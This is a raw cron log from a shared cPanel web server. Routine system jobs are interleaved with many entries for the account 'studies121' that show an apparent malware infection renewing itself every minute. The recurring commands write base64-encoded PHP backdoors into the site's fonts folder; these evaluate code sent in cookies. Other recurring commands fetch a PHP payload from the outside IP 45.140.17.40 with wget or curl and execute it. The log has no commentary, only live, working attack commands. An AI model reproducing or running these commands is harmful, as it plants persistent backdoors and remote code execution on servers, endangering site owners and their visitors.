Sep  7 08:00:01 ip-184-168-122-23 CROND[21422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:00:01 ip-184-168-122-23 CROND[21417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:01:01 ip-184-168-122-23 CROND[21546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:01:02 ip-184-168-122-23 CROND[21549]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 08:01:02 ip-184-168-122-23 CROND[21551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:01:02 ip-184-168-122-23 CROND[21550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:01:02 ip-184-168-122-23 CROND[21552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:01:02 ip-184-168-122-23 CROND[21553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21549]: starting 0anacron
Sep  7 08:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21568]: finished 0anacron
Sep  7 08:02:01 ip-184-168-122-23 CROND[21652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:02:01 ip-184-168-122-23 CROND[21655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:02:01 ip-184-168-122-23 CROND[21653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:02:01 ip-184-168-122-23 CROND[21656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:02:01 ip-184-168-122-23 CROND[21654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:03:01 ip-184-168-122-23 CROND[21863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:03:01 ip-184-168-122-23 CROND[21864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:03:01 ip-184-168-122-23 CROND[21866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:03:01 ip-184-168-122-23 CROND[21865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:04:01 ip-184-168-122-23 CROND[21968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:04:01 ip-184-168-122-23 CROND[21970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:04:01 ip-184-168-122-23 CROND[21971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:04:01 ip-184-168-122-23 CROND[21972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:04:01 ip-184-168-122-23 CROND[21969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:05:01 ip-184-168-122-23 CROND[22088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:05:01 ip-184-168-122-23 CROND[22091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:05:02 ip-184-168-122-23 CROND[22089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:05:02 ip-184-168-122-23 CROND[22090]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:05:02 ip-184-168-122-23 CROND[22093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:05:02 ip-184-168-122-23 CROND[22095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:05:02 ip-184-168-122-23 CROND[22096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:06:01 ip-184-168-122-23 CROND[22187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:06:01 ip-184-168-122-23 CROND[22188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:06:01 ip-184-168-122-23 CROND[22190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:06:01 ip-184-168-122-23 CROND[22192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:06:01 ip-184-168-122-23 CROND[22193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:07:02 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:07:02 ip-184-168-122-23 CROND[22316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:07:02 ip-184-168-122-23 CROND[22317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:07:02 ip-184-168-122-23 CROND[22318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:08:01 ip-184-168-122-23 CROND[22421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:08:01 ip-184-168-122-23 CROND[22422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:08:01 ip-184-168-122-23 CROND[22420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:08:01 ip-184-168-122-23 CROND[22423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:08:01 ip-184-168-122-23 CROND[22424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:09:01 ip-184-168-122-23 CROND[22565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:09:01 ip-184-168-122-23 CROND[22567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:09:01 ip-184-168-122-23 CROND[22568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:09:01 ip-184-168-122-23 CROND[22572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:09:01 ip-184-168-122-23 CROND[22573]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:10:01 ip-184-168-122-23 CROND[22677]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:10:01 ip-184-168-122-23 CROND[22684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:10:01 ip-184-168-122-23 CROND[22685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:11:01 ip-184-168-122-23 CROND[22789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:11:01 ip-184-168-122-23 CROND[22790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:11:01 ip-184-168-122-23 CROND[22791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:11:01 ip-184-168-122-23 CROND[22788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:12:01 ip-184-168-122-23 CROND[22873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:12:01 ip-184-168-122-23 CROND[22872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:12:01 ip-184-168-122-23 CROND[22875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:12:01 ip-184-168-122-23 CROND[22874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
